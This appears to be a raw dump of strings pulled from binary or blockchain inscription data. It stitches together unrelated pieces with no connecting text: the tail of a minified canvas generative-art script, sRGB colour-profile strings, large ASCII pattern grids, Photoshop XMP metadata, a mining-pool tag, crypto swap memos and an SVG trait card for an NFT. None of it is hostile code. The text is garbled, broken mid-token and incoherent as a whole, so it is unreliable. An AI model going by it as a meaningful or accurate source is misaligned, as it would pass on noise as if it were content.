c:.04,xp:1}},{st:{y:.011},op:.4,n:{s:.011,d:70,c:.03,xp:1}},{st:{x:-.012},op:.6,n:{s:.012,d:80,c:.02,xp:1}},{st:{y:-.013},op:.8,n:{s:.013,d:90,c:.01,xp:1}}]}),"Lost"==N&&(ess={c:{a:{e:-512}},l:[{st:{x:-.03},op:.5,n:{s:.03,d:200,c:.03,xp:1}},{st:{y:-.02},op:.5,n:{s:.02,d:200,c:.03,xp:1}},{st:{x:.015},op:.5,n:{s:.015,d:200,c:.03,xp:1}},{st:{y:.0125},op:.5,n:{s:.0125,d:200,c:.03,xp:1}}]});function gAD(){return{id:0,value:0,minValue:0,maxValue:1,target:1,duration:1,elapsed:0,direction:1,easing:lin,ease1:lin,ease2:lin,cM
allback:null}}var animations=[];function animate(a){var b=a.value,c=a.target,d=a.duration,e=a.easing,f=a.callback;a.elapsed=0;var g=function(g){a.elapsed+=dt;var h=max(0,min(1,e(a.elapsed/d)));a.value=b+h*(c-b),a.elapsed>=d&&(animations.splice(g,1),f&&f())};animations.push(g)}function lin(a){return a}function eSin(a){return-(cos(PI*a)-1)/2}function rAL(a){a.direction=-a.direction,a.callback=function(){rAL(a)},0>a.direction?(a.easing=a.ease1,a.target=a.minValue):(a.easing=a.ease2,a.target=a.maxValue),animate(a)}funcM
tion init(){sRO(),sS(),iD(),cEl(),rC(),lFI(),sR(),rAL(gvy),window.requestAnimationFrame(oAF)}function sRO(){var a=document.body;wW=max(a.clientWidth,window.innerWidth),wH=max(a.clientHeight,window.innerHeight);var b=wW>wH,c=b?wH:wW;cS=c/PC,sV=-1,pI=0,cP.length=0}function sRH(){window.addEventListener("resize",function(){sRO(),rC()},!0)}function cEl(){canvas=document.createElement("canvas"),ctx=canvas.getContext("2d"),document.body.appendChild(canvas),sRH()}function rC(){var a=floor((wW-cS*PC)/2),b=floor((wH-cS*PC)/M
2);canvas.style.position="absolute",canvas.style.left=a+"px",canvas.style.top=b+"px",canvas.width=PC,canvas.height=PC,styleSheet||(styleSheet=document.createElement("style"),document.body.appendChild(styleSheet));var c=floor(cS*PC);styleSheet.innerText=`canvas { width: ${c}px; height: ${c}px; image-rendering: -moz-crisp-edges; image-rendering: -webkit-crisp-edges; image-rendering: pixelated; image-rendering: crisp-edges; }`}function gC(a,b){var c=PC*cS,d=floor((b-cS*PC)/2),e=floor(PC*(a-d)/c);return e}function iVC(M
a){return 0<=a&&a<PC}function gX(a){return gC(a.x,wW)}function gY(a){return gC(a.y,wH)}function pFE(a){if(iPt){var b=gX(a),c=gY(a);if(iVC(b)&&iVC(c)){var d=iEs?0:pB;if(iBx&&bxS){var e=gX(bxS),f=gY(bxS);if(iVC(e)&&iVC(f)){for(var g=b<e?b:e,h=c<f?c:f,i=b<e?e:b,j=c<f?f:c,k=g;k<=i;k++)for(var l=h;l<=j;l++)pP[k][l]=d;return}}pP[b][c]=d}}}function lFI(){document.addEventListener("keydown",a=>{var b=a.key;"Shift"===b&&(iEs=!0)," "===b&&(iBx=!0)},!1),document.addEventListener("keyup",a=>{var b=a.key,c=+b,d=a.ctrlKey;if(!isM
NaN(c))if(d)for(var e=0;e<PC;e++)for(var f=0;f<PC;f++)pP[e][f]=c;else" "!==b&&(pB=c);"p"===b||"P"===b?iPs=!iPs:"l"===b||"L"===b?lPP():"Shift"===b?iEs=!1:" "===b?(iBx=!1,bxS=null):void 0},!1),window.addEventListener("mousedown",a=>{iPt=!0,iBx&&null===bxS&&(bxS=a)}),window.addEventListener("mousemove",a=>pFE(a)),window.addEventListener("mouseup",a=>{pFE(a),iPt=!1,bxS=null})}function lPP(){for(var a=[],b=0;b<PC;b++){for(var c=0;c<PC;c++)a.push(pP[c][b]);b<PC-1&&a.push(",")}var d="["+a.join("")+"]";console.log(d),cGD(dM
)}function cGD(a){var b=document.createElement("input");b.className="clipboard",document.body.appendChild(b),b.value=a,b.select(),document.execCommand("copy"),document.body.removeChild(b)}function oAF(a){dt=a-pvT,dt>MT?dt=MT:0>dt&&(dt=0),iPs&&(dt=0),sV=-1,pI=0,cP.length=0,wSE+=dt,sS(),sR();for(var b=animations.length,c=b-1;0<=c;c--)animations[c](c);pvT=a,window.requestAnimationFrame(oAF)}function sS(){s=0,t=0;var a=Uint32Array.from([0,1,s=t=2,3].map(function(a){return parseInt(H.substr(11*a+2,11),16)}));rm=functionM
(){return t=a[3],a[3]=a[2],a[2]=a[1],a[1]=s=a[0],t^=t<<11,a[0]^=t^t>>>8^s>>>19,a[0]/4294967296}}function iD(){null===gvy&&(gvy=gAD(),gvy.value=gv,gvy.minValue=gv/2,gvy.maxValue=2*gv,gvy.duration=1750*(sp+2),gvy.ease1=eSin,gvy.ease2=eSin)}function sCl(){var a=P.slice();wS.length=0,wST=0;for(var b=0;b<cPC;b++){var c=gCP(),d=a[b],e=parseInt(d,16);c.r=255&e>>16,c.g=255&e>>8,c.b=255&e,pPt(c),c.weight=pow(gvy.value,5-b),wS.push(c.weight),wST+=c.weight,cP.push(c)}var f=wS[cPC-1],g=2e3*sp;wST-=cPC*f;for(var b=0;b<cPC;b++){M
var c=cP[b],h=wSE+.5*g*b/(cPC-1),j=cos(TAU*(h%g)/g);c.weight=f+j*wST}if(2===cPC)for(var k=cP[0],l=cP[1];;){var m=l.y-k.y,n=l.x-k.x,o=m/(n||1);if(-1.2<=o&&-.8>=o)pI=0,pPt(k),pPt(l);else break}}var imgData=null,uD=Array(4*PC*PC);function sR(){iFR&&(imgData=ctx.getImageData(0,0,PC,PC),cID(imgData.data),cE());var a=imgData.data;sCl(),L2&&(cID(uD),aE(uD)),dCPG(a),0<RFOP&&aP(a,RFOP),L2?aUD(a):aE(a),aP(a,1),ctx.putImageData(imgData,0,0),iFR=!1}function cID(a){for(var b=a.length,c=0;c<b;c++)a[c]=0==(c+1)%4?255:0}function cM
E(){for(var c=ess.l,e=ess.st||{},f=ess.n,h=ess.c,k={o:0,e:0},l=0;l<c.length;l++){var o=c[l],p=o.st||e,q=o.n||f,u=o.c||h,v=o.op,w=u.a||k,a=u.r||w,r=u.g||w,g=u.b||w,b=a.o||0,z=a.e||0,A=r.o||0,B=r.e||0,I=g.o||0,J=g.e||0,K={oX:0,oY:0,nOf:0,data:null,nObj:null,nDp:null,config:o,nC:q,stC:p},M=4*PC*PC;if(q){M=PC*PC,p&&(0<p.x&&(K.oX=1e8),0<p.y&&(K.oY=1e8));var O=q.d;K.nObj=cN(q.c,q.xp),K.nDp=[];for(var d=0;d<O;d++){var Q;if(d<.5*O)Q=2*d/O;else{var R=d-.5*O;Q=1-2*R/O}K.nDp.push({r:b+rm()*z,g:A+rm()*B,b:I+rm()*J,a:v*Q})}}if(M
K.data=Array(M),q)for(var m=0;m<M;m++){var S=floor(m/PC),y=m-S*PC;K.data[m]=K.nObj.get(y,S)}else for(var m=0;m<M;m+=4)K.data[m+0]=rm()*(b+rm()*z),K.data[m+1]=rm()*(A+rm()*B),K.data[m+2]=rm()*(I+rm()*J);eL.push(K)}}function aE(a){for(var b=a.length,c=eL.length,e=0;e<c;e++){var f=eL[e],g=f.data,h=f.nObj,l=f.config,m=f.stC,n=m.x||0,o=m.y||0;if(f.oX-=dt*n,f.oY-=dt*o,h){var p=f.nC,q=f.nDp,r=p.d||2,d=p.s||0;f.nOf+=dt*d;var u=f.nOf;0>u?u=r+u%r:u>=r&&(u%=r);for(var v=0;v<b;v+=4){var w=floor(v/4),k=floor(w/PC),z=floor(w-k*PM
C)+f.oX;k+=f.oY;var x=h.get(z,k),A=r*x+u,B=ceil(A),I=floor(A),J=q[B%r],K=q[I%r],M=p.noBlend?1:1-(A-I),O=p.noBlend?0:1-M,Q=K.a,R=J.a;a[v]+=M*K.r*Q+O*J.r*R,a[v+1]+=M*K.g*Q+O*J.g*R,a[v+2]+=M*K.b*Q+O*J.b*R}}else{var S=f.oX,T=f.oY,U=l.op||1,W=l.sc||0,X=1-W,Z=floor(S),$=floor(T),_=ceil(S),aa=ceil(T),ba=4*Z,ca=4*PC*$,da=4*_,ea=4*PC*aa,fa=1-(S-Z),ga=1-(T-$),ha=1-fa,ia=1-ga,ja=fa*ga,ka=fa*ia,la=ha*ga,ma=ha*ia,na=ba+ca;0>na?na=b+na%b:na>=b&&(na%=b);var oa=ba+ea;0>oa?oa=b+oa%b:oa>=b&&(oa%=b);var pa=da+ca;0>pa?pa=b+pa%b:pa>=b&M
&(pa%=b);var qa=da+ea;0>qa?qa=b+qa%b:qa>=b&&(qa%=b);for(var v=0;v<b;v+=4){var ra=(v+na)%b,sa=(v+oa)%b,ta=(v+pa)%b,ua=(v+qa)%b,va=(X+W*rm())*U,wa=(X+W*rm())*U,xa=(X+W*rm())*U;a[v]+=va*(ja*g[ra]+ka*g[sa]+la*g[ta]+ma*g[ua]),a[v+1]+=wa*(ja*g[ra+1]+ka*g[sa+1]+la*g[ta+1]+ma*g[ua+1]),a[v+2]+=xa*(ja*g[ra+2]+ka*g[sa+2]+la*g[ta+2]+ma*g[ua+2])}}}}function aUD(a){for(var b=a.length,c=1-pxS,d=0;d<b;d+=4){var e=d,f=d+1,g=d+2;a[e]+=c*uD[e],a[f]+=c*uD[f],a[g]+=c*uD[g]}}function aP(a,c){for(var d=a.length,e=0;e<d;e+=4){var f=floor(M
e/4),i=floor(f/PC),j=floor(f-i*PC),l=+pP[j][i];if(l){var m=e,n=e+1,o=e+2,q=a[m],r=a[n],g=a[o],b=255-q,u=255-r,w=255-g,x=c*l/9,y=1-x;if(UG)a[m]=y*q+x*b,a[n]=y*r+x*u,a[o]=y*g+x*w;else{var p=RGBtoHSV(q/255,r/255,g/255),z=RGBtoHSV(b/255,u/255,w/255),A=y*p.h+x*z.h,h=y*p.s+x*z.s,B=y*p.v+x*z.v,v=HSVtoRGB(A,h,B);a[m]=255*v.r,a[n]=255*v.g,a[o]=255*v.b}}}}function dCPG(a){for(var b=0,c=0;b<PC;){for(c=0;c<PC;)sGCFP(a,cP,b,c),c++;b++}}function gCP(){return{x:0,y:0,r:0,g:0,b:0,weight:1,distance:0}}function pPt(a){var b=plC[pI++M
];pI>=plC.length&&(pI=0);var c=-.125+.25*rm(),d=-.125+.25*rm();a.x=(b.x+c)*PC,a.y=(b.y+d)*PC}function sGCFP(a,b,d,e){sFCCP(b,d,e);for(var f=[],g=b.length,h=0;h<g;h+=2)h==g-1?f.push(b[h]):f.push(sC(b[h],b[h+1]));if(1===f.length){flipX&&(d=PC-d-1),flipY&&(e=PC-e-1);var j=4*d,k=4*(e*PC),l=k+j,m=f[0],c=l,n=l+1,o=l+2;if(L2){var p=pxS;0<+pP[d][e]&&(p=0);var q=1-p;a[c]=q*m.r+p*a[c],a[n]=q*m.g+p*a[n],a[o]=q*m.b+p*a[o]}else a[c]=m.r,a[n]=m.g,a[o]=m.b}else sGCFP(a,f,d,e)}function sFCCP(a,b,c){var d=a.length;if(L2){var e=b,f=M
c;flipX&&(e=PC-b-1),flipY&&(f=PC-c-1);var g=4*e,h=4*(f*PC),j=h+g,k=3,l=3,m=3,n=uD[j]-127.5,o=uD[j+1]-127.5,p=uD[j+2]-127.5;150>C?(n=abs(n)*n*DLO,o=abs(o)*o*DLO,p=abs(p)*p*DLO):850>C?(n=DMD*cos(TS*n),o=DMD*cos(TS*o),p=DMD*cos(TS*p)):(k=1+floor(abs((n+127.5)/DHI)),l=1+floor(abs((o+127.5)/DHI)),m=1+floor(abs((p+127.5)/DHI)),n=0,o=0,p=0);for(var q=0;q<d;q++){var r=a[q],u=r.x,v=r.y;r.distance=gDE(b,c,u,v,3),r.rd=gDE(b,c,u,v,k)+n,r.gd=gDE(b,c,u,v,l)+o,r.bd=gDE(b,c,u,v,m)+p}}else for(var r,q=0;q<d;q++)r=a[q],r.distance=gDM
E(b,c,r.x,r.y,3);a.sort(sM)}function gDE(a,b,c,d,e){return pow(c-a,e)+pow(d-b,e)}function sC(a,b){var c=gCP(),d=a.r,e=a.g,f=a.b,g=b.r,h=b.g,i=b.b,j=a.weight,k=b.weight,l=g-d,m=h-e,n=i-f;if(L2){var o=a.rd*j,p=b.rd*k,q=a.gd*j,r=b.gd*k,u=a.bd*j,v=b.bd*k;c.x=(a.x+b.x)/2,c.y=(a.y+b.y)/2,c.r=p/(o+p)*l+d,c.g=r/(q+r)*m+e,c.b=v/(u+v)*n+f,c.weight=(j+k)/2}else{var w=a.distance*j,x=b.distance*k,y=x/(w+x);c.x=(a.x+b.x)/2,c.y=(a.y+b.y)/2,c.r=y*l+d,c.g=y*m+e,c.b=y*n+f,c.weight=(j+k)/2}return c}function cN(a,b){a=a||1,b=b||1;for(M
var c=[],d=function(a,b,c){return b*a[0]+c*a[1]},e=sqrt(3),f=[[1,1,0],[-1,1,0],[1,-1,0],[-1,-1,0],[1,0,1],[-1,0,1],[1,0,-1],[-1,0,-1],[0,1,1],[0,-1,1],[0,1,-1],[0,-1,-1]],g=[],h=0;256>h;h++)g[h]=0|256*rm();for(var h=0;512>h;h++)c[h]=g[255&h];return{get:function(g,h){g*=a,h*=a;var k,l,m,n,o,p=(e-1)/2*(g+h),q=0|g+p,i=0|h+p,j=(3-e)/6,r=j*(q+i),u=g-(q-r),v=h-(i-r);u>v?(n=1,o=0):(n=0,o=1);var w=u-n+j,z=v-o+j,A=u-1+2*j,B=v-1+2*j,I=255&q,J=255&i,K=c[I+c[J]]%12,M=c[I+n+c[J+o]]%12,O=c[I+1+c[J+1]]%12,Q=.5-u*u-v*v;0>Q?k=0:(Q*M
=Q,k=Q*Q*d(f[K],u,v));var R=.5-w*w-z*z;0>R?l=0:(R*=R,l=R*R*d(f[M],w,z));var S=.5-A*A-B*B;0>S?m=0:(S*=S,m=S*S*d(f[O],A,B));var T=(70*(k+l+m)+1)/2;return 1!==b&&(T=pow(T,b)),T}}}var HSVtoRGB=function(a,c,d){var e,h,j,k=floor(6*a),i=6*a-k,f=d*(1-c),l=d*(1-i*c),m=d*(1-(1-i)*c);switch(k%6){case 0:e=d,h=m,j=f;break;case 1:e=l,h=d,j=f;break;case 2:e=f,h=d,j=m;break;case 3:e=f,h=l,j=d;break;case 4:e=m,h=f,j=d;break;case 5:e=d,h=f,j=l;}return{r:e,g:h,b:j}},RGBtoHSV=function(a,c,e){var b,f=max(a,c,e),g=min(a,c,e),i=f-g,d=0==L
=f?0:i/f;return f===g?b=0:f===a?(b=c-e+i*(c<e?6:0),b/=6*i):f===c?(b=e-a+2*i,b/=6*i):f===e?(b=a-c+4*i,b/=6*i):void 0,{h:b,s:d,v:f}};init();</script></body></html>h!
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
!1#&#&#1K/7//7/KBPA=APBw]SS]w
!1#&#&#1K/7//7/KBPA=APBw]SS]w
"ffffffffffffffffffffg
fffffffffffffffffffffff
333333333333333333333?
ffffffffffffffffffff
text/plain;charset=utf-8
\\//XXXX////XXXX/XXX....XXXX........XXXX....XXX/XXXX////XXXX//\\
\.../X../X..\...\.../X../X..\......\..X/..X/...\...\..X/..X/...\
/./.\./.\.\...\..X...X.../.X./.XX./.X./...X...X..\...\.\./.\././
/.../..X..X\../...X.../../..X\....\X../../...X.../..\X..X../.../
X/\/.\\.............X../X/\/\\\..\\\/\/X/..X.............\\./\/X
XX..\/...\XX...\...\/X...\...\\XX\\...\...X/\...\...XX\.../\..XX
X./.\..X./.\....X.\....X./.\..X..X..\./.X....\.X....\./.X..\./.X
X..X..X..X..X.........\..\../..//../..\..\.........X..X..X..X..X
//\.......X//\\......X/X\\............\\X/X......\\//X.......\//
/X...\/X....\/X....\/X...\/X........X/\...X/\....X/\....X/\...X/
/.\X.X..X./..X..../.\..\.././..//.././..\..\./....X../.X..X.X\./
/..\.X\./../....X..\.X../../.X\..\X./../..X.\..X..../../.\X.\../
X\.....X/\....XX/....X//\...X/\..\/X...\//X..../XX....\/X.....\X
X.......\/X.......\/X.......\/X..X/\.......X/\.......X/\.......X
X.\/....\X..X....\X..../X.\../X..X/..\.X/....X\....X..X\..../\.X
X....\......X....\.X.X.././.X\.//.\X././..X.X.\....X......\....X
/\....X....X/...X\\..X/....X\......\X..../X..\\X.../X....X....\/
X.X...........\\\X/XX......................XX/X\\\...........X.X
X..X..\.../..\X.\/../X.\X..\...//...\..X\.X/../\.X\../...\..X..X
X....\...\.\./.X.X...X....\././.././.\....X...X.X./.\.\...\....X
./..X/.../\..X...X/...\...X.../\\/...X...\.../X...X..\/.../X../.
.XX..X..XX.XX..XX.XX..X..XX..X....X..XX..X..XX.XX..XX.XX..X..XX.
.../...\/.../.../...\X..\X..\X....X\..X\..X\.../.../.../\.../...
..../.X.X.\././...\......X.X.X.//.X.X.X......\..././.\.X.X./....
X/..X...\../\.X/..X...\../\.X/..../X.\/..\...X../X.\/..\...X../X
XX///\/\\\...........XXX///\\......\\///XXX...........\\\/\///XX
X...\....//...\/...\XX..\/X.../../...X/\..XX\.../\...//....\...X
X.X./.\..X./....X.\....X.\..../../....\.X....\.X..../.X..\./.X.X
.\.X\../../.X\.X\../..\.X\../..//../..\X.\../..\X.\X./../..\X.\.
../\\\.....X///\.....XXX/............../XXX.....\///X.....\\\/..
....\\X....\\XX....//.....//........//.....//....XX\\....X\\....
..X..X./../..../../.\../..../..//../..../..\./../..../../.X..X..
...X..\.X..X..\..\./..\.X..\..\..\..\..X.\../.\..\..X..X.\..X...
.X\\....X\\....//.....X\.....X\\\\X.....\X.....//....\\X....\\X.
......./X/X.....\/\/........\/X..X/\......../\/\.....X/X/.......
../../..\../../..\..\../../..\....\../../..\..\../../..\../../..
.\./....\./.X..\././..\.\./....\\..../.\.\.././.\..X./.\..../.\.
./\...X/....\...XX\...X\...//......//...\X...\XX...\..../X...\/.
.............\\\//X..........................X//\\\.............
../.../...X../..\.../.../..\...XX...\../.../...\../..X.../.../..
.\.\.\./././.X.X.X....\...\./.\..\./.\...\....X.X.X./././.\.\.\.
./...X\.../.../.../\..X\..X\..X\\X..\X..\X..\/.../.../...\X.../.
................................................................
..\/.../X..\...\/..\X.../...\......\.../...X\../\...\..X/.../\..
....X.X...X.X.\.\...\.\..../././/././....\.\...\.\.X.X...X.X....
.X.../..X\.X\../....../..X\..\....\..\X../....../..\X.\X../...X.
...X.X/X\/.\...........X./X/\/.\\./\/X/.X...........\./\X/X.X...
..\\X...\X..../....\/...\/X..\/../\..X/\.../\..../....X\...X\\..
..X.X.\....X.\.\../.\..X.\.\../../..\.\.X..\./..\.\.X....\.X.X..
.X../..X../../../..\../..\../..\\../..\../..\../../../..X../..X.
...X/\.......X/\.......X/\............\/X.......\/X.......\/X...
...\/XX...\/X.....\X......\X........X\......X\.....X/\...XX/\...
.\X.\..X..../..X.\X.\../..../..XX../..../..\.X\.X../....X..\.X\.
./.././..\..\./....X../.X../.X\..\X./..X./..X..../.\..\.././../.
.../\...X/\.....X/\..../...../\..\/...../....\/X.....\/X...\/...
...../\/.X......\\X.X......\\XXXXXX\\......X.X\\......X./\/.....
.\/.\/../..X..X..X../../../../..../../../../..X..X..X../../\./\.
./.X....\./.X..\./.X..\./.X....\\....X./.\..X./.\..X./.\....X./.
..X\...//...X\...X/...X\..../....../....\X.../X...\X...//...\X..
.......\.\/\///XX..X........................X..XX///\/\.\.......
../..\X../..\X..\X../..\.../..\XX\../...\../..X\..X\../..X\../..
.X./.X./...X...X\...\.../.\./.\..\./.\./...\...\X...X.../.X./.X.
..X.../\../\..X...X.../\../\..X..X..\/..\/...X...X..\/..\/...X..
................................................................
text/plain;charset=utf-8
.-.|.|.\...././.-.|.|.\.\......//......\.\.|.|.-././....\.|.|.-.
--......-...|-......-/..\|............|\../-......-|...-......--
.....\..\..|..|..-.|-.|/\-/\-.|//|.-\/-\/|.-|.-..|..|..\..\.....
|.../\...-.../..|.../\...-\../|..|/..\-...\/...|../...-...\/...|
.../|...-....-....\./.-\./.|........|./.\-./.\....-....-...|/...
|.\\..\....\..\.........../....//..../...........\..\....\..\\.|
.....\.....\|/............|-/....../-|............/|\.....\.....
\.......|/\-.|......./.|.\.....//.....\.|./.......|.-\/|.......\
.-\.-..|.../..-\.-\...../../\.-\\-.\/../.....\-.\-../...|..-.\-.
...-.../.|...-.\../..\../.|...-..-...|./..\../..\.-...|./...-...
.......\..\|..\|..|-...-/..-/..//../-../-...-|..|\..|\..\.......
..|..\\-/.|-/..-/.../..........\\........../.../-../-|./-\\..|..
/|....|..../\....|../.-..../\..//..\/....-./..|....\/....|....|/
.-./-./|.-......\.-..|..|./........../.|..|..-.\......-.|/.-/.-.
/.|..\..-.\.....|.\.../.|.....-..-.....|./...\.|.....\.-..\..|./
........\\|-.....//...\||.....////.....||\...//.....-|\\........
-..|......./.\|.\\.......-/\\-.\\.-\\/-.......\\.|\./.......|..-
..-.....-...|../\.|../|..-...-....-...-..|/..|.\/..|...-.....-..
|...\...\/|..-\/.|./...-./.\.-....-.\./.-.../.|./\-..|/\...\...|
..|.......-......./..|.......-....-.......|../.......-.......|..
|--//......//............\||--/../--||\............//......//--|
./.\.../.\...|.../.|.../.\...-/../-...\./...|./...|...\./...\./.
\.|.-.......-./\.|...././|.|.-....-.|.|/./....|.\/.-.......-.|.\
../.\..|..-....|..-../.\..|..-....-..|..\./..-..|....-..|..\./..
\\\.....///..|||....../....--......--..../......|||..///.....\\\
.|--/..\........--/.\\|......./../.......|\\./--........\../--|.
../\./|..|.../../...|..|.../../../../...|..|.../../...|..|/.\/..
..\.|.-./.-./...\.\.|.|.-././.....././.-.|.|.\.\.../.-./.-.|.\..
..-.../.\./.\...\...-...-..//......//..-...-...\...\./.\./...-..
.../............--------................--------............/...
..||....--....-/....//...//....//....//...//..../-....--....||..
/./.././\./\/../\............./\\/.............\/../\/.\/./.././
.|..|.|..|....\..\.\/.\.\/.\/\....\/\./\.\./\.\..\....|..|.|..|.
.-....--....||....|\...||....\\..\\....||...\|....||....--....-.
///.////................\\||\\\\\\\\||\\................////.///
...|...\./...//..-...-...|...\.//.\...|...-...-..//.../.\...|...
/........-.|.\/\.......-.|.|.|.\\.|.|.|.-.......\/\.|.-......../
.\..\...-..-|..\..\/..-...|..|....|..|...-../\..\..|-..-...\..\.
-.......\.../--|...........||\.//.\||...........|--/...\.......-
.../-......\....||-.././.....\|\\|\....././..-||....\......-/...
|..\./..-..|./..-..|..\./..-..|..|..-../.\..|..-../.|..-../.\..|
./....\../.-.-.....|.|.\..-....\\....-..\.|.|.....-.-./..\..../.
|....-|...\/-...|./...|./...-......-.../.|.../.|...-/\...|-....|
...../--||\..//-||\\...........//...........\\||-//..\||--/.....
\\.--.//...||.--...\\.||../...\\\\.../..||.\\...--.||...//.--.\\
.|.\.-.|...-........\/..-.\...|..|...\.-../\........-...|.-.\.|.
\/..\.\-..\/..|.....|...|...-..\\..-...|...|.....|../\..-\.\../\
......|\/||./.......||.-|..............|-.||......./.||/\|......
...///-|....\\.....--....|\\........\\|....--.....\\....|-///...
.\.||./..\.--./..|.-/....-.//..\\..//.-..../-.|../.--.\../.||.\.
........-.\/.|.\..../.-/.-.\/.|..|./\.-./-./....\.|./\.-........
...|./..\.|...-\/..|.-.../|...|..|...|/...-.|../\-...|.\../.|...
............./-../-|./-|\.-|........|-.\|-/.|-/..-/.............
/-../-..-|..|\..|\..\\....................\\..\|..\|..|-..-/..-/
./..|-....|...\.|...|./....-/..||../-..../.|...|.\...|....-|../.
-../......-.\-../...|..-.\-..........-\.-..|.../..-\.-....../..-
.\.\.|\-.......|\-|/-.......\/-..-/\.......-/|-\|.......-\|.\.\.
|\....|\....../-|\./-|\....../-||-/......\|-/.\|-/......\|....\|
.-..-..|.--./../..-./-./...../..../...../.-/.-../../.--.|..-..-.
|....-...|/...|/.\.-....-.\../.||./..\.-....-.\./|.../|...-....|
..\-...\/...|.|/..\-...\/...|......|.../\...-\../|.|.../\...-\..
\.-\........................./..../.........................\-.\
.....-\\./-...\../|\../...\../-||-/..\.../..\|/..\...-/.\\-.....
\.\.|.|.-./......\.\.|.|.-././...././.-.|.|.\.\....../.-.|.|.\.\
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
)j'2s42AC1w13qFqSMn8ciE8ynrBk9zT756mzkuZr9
JjH=:BNB.TWT-8C2:bnb1gvh4n97q04urc7js4x470u7j4g7fzfq66ppxla:1455014924:te:0
JjH=:BNB.TWT-8C2:bnb12vcc0sghp6ec56ufxkd6wl2w4g3u9nsm5gxzz2:3428313433:te:0
~iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164352, 2020/01/30-15:50:38        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1M
.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-11-16T17:02:54+08:00" xmp:ModifyDate="2021-12-16T18:03:41+08:00" xmp:MetadataDate="2021-12-16T18:03:41+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:d402340a-5341-d44c-b66d-ebaa18a0a3a6" xmpMM:DocumentID="xmp.did:5d012cef-c6ce-9e40-8174-f1e6e784c92a" xmpMM:OriginalDocumentID="xmp.did:5d012cef-c6ce-9e40-8M
174-f1e6e784c92a"> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>xmp.did:4271777b-7a76-9d4a-bf8e-0d166761eba4</rdf:li> <rdf:li>xmp.did:ddd70db7-4080-724b-8b44-6469d7d38828</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:5d012cef-c6ce-9e40-8174-f1e6e784c92a" stEvt:when="2021-11-16T17:02:54+08:00" stEvt:softwareAgent="Adobe Photoshop 21.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:d2b27081-47f9-3346-90c0-2M
4278a74e314" stEvt:when="2021-11-29T14:48:36+08:00" stEvt:softwareAgent="Adobe Photoshop 21.1 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:d402340a-5341-d44c-b66d-ebaa18a0a3a6" stEvt:when="2021-12-16T18:03:41+08:00" stEvt:softwareAgent="Adobe Photoshop 21.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
c/Foundry USA Pool #dropgold/
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3f, 2021/11/14-12:30:42        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/M
1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.1 (Windows)" xmp:CreateDate="2023-02-10T14:31:31+01:00" xmp:ModifyDate="2023-02-13T11:48:34+01:00" xmp:MetadataDate="2023-02-13T11:48:34+01:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:6c3fb735-9e94-3d40-9ead-9cce50acdacf" xmpMM:DocumentID="xmp.did:6c3fb735-9e94-3d40-9ead-9cce50acdacf" xmpMM:OriginalDocumentID="xmp.did:6c3fb735-9e94-3d40-9ead-9cce50acdacf"> <xmpMM:History> <rdf:M
Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:6c3fb735-9e94-3d40-9ead-9cce50acdacf" stEvt:when="2023-02-10T14:31:31+01:00" stEvt:softwareAgent="Adobe Photoshop 23.1 (Windows)"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
2022-03-08T22:52:11+00:00l
2022-03-08T22:52:11+00:00
((((((((((((((((((((((((((((((((((((((((((((((((((
matplotlib version3.2.2, http://matplotlib.org/
<svg viewBox="0 0 350 350" preserveAspectRatio="xMinYMin meet" xmlns="http://www.w3.org/2000/svg"><style>.base { fill: black; font-family: serif; font-size: 14px; }</style><rect fill="#01ff01" height="100%" width="100%"></rect><text class="base" y="20" x="10">Blockchain</text><text class="base" y="40" x="10">"Pranksy Top" Tattoed Chest of Rage</text><text class="base" y="60" x="10">Smoking Pipe</text><text class="base" y="80" x="10">Golden Strap</text><text class="base" y="100" x="10">Floor Shoes</text><text class=L
"base" y="120" x="10">Weak Hands</text><text class="base" y="140" x="10">Trinket</text><text class="base" y="160" x="10">Ape Fur Ring</text></svg>h!
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
